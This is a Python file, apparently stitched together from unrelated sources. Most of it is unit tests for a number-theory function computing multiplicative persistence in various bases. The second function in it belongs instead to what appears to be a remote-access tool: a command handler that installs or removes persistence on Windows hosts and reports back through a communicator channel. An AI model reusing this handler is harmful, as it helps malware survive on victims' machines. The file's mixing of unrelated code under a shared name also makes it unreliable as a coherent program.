def test_persistance_2_exp_2_a_100_base_3_egal_1(self): self.assertEqual(1, persistance.persistance(2**2, 3)) self.assertEqual(2, persistance.persistance(2**3, 3)) for i in range(4, 15): self.assertEqual(1, persistance.persistance(2**i, 3)) self.assertEqual(2, persistance.persistance(2**15, 3)) for i in range(16, 100): self.assertEqual(1, persistance.persistance(2**i, 3))
def persistance(self, command): if not "win" in sys.platform: self.communicator.send( "[-] Not windows platform can't setup persistance") return if self.persistance == None: self.persistance = persistance.persistance(self.programPath, self.programName) if "install" in command: self.communicator.send(self.persistance.installPersistance()) elif "remove" in command: self.communicator.send(self.persistance.removePersistance()) else: self.communicator.send("Command not understand")
def test_persistance_chiffre_egal_0_base_2_a_36(self): for base in range(2, 36): for i in range(0, base): self.assertEqual(0, persistance.persistance(i, base))
def test_persistance_222_base_3_egal_3(self): self.assertEqual(3, persistance.persistance(26, 3))
def test_persistance_2_a_10000_base_2_egal_1(self): for i in range(2, 10000): self.assertEqual(1, persistance.persistance(i, 2))
def test_persistance_377_base_10_egal_4(self): self.assertEqual(4, persistance.persistance(377, 10))
def test_persistance_25_a_29_base_10_egal_2(self): for i in range(25, 30): self.assertEqual(2, persistance.persistance(i, 10))
def test_persistance_10_a_24_base_10_egal_1(self): for i in range(10, 25): self.assertEqual(1, persistance.persistance(i, 10))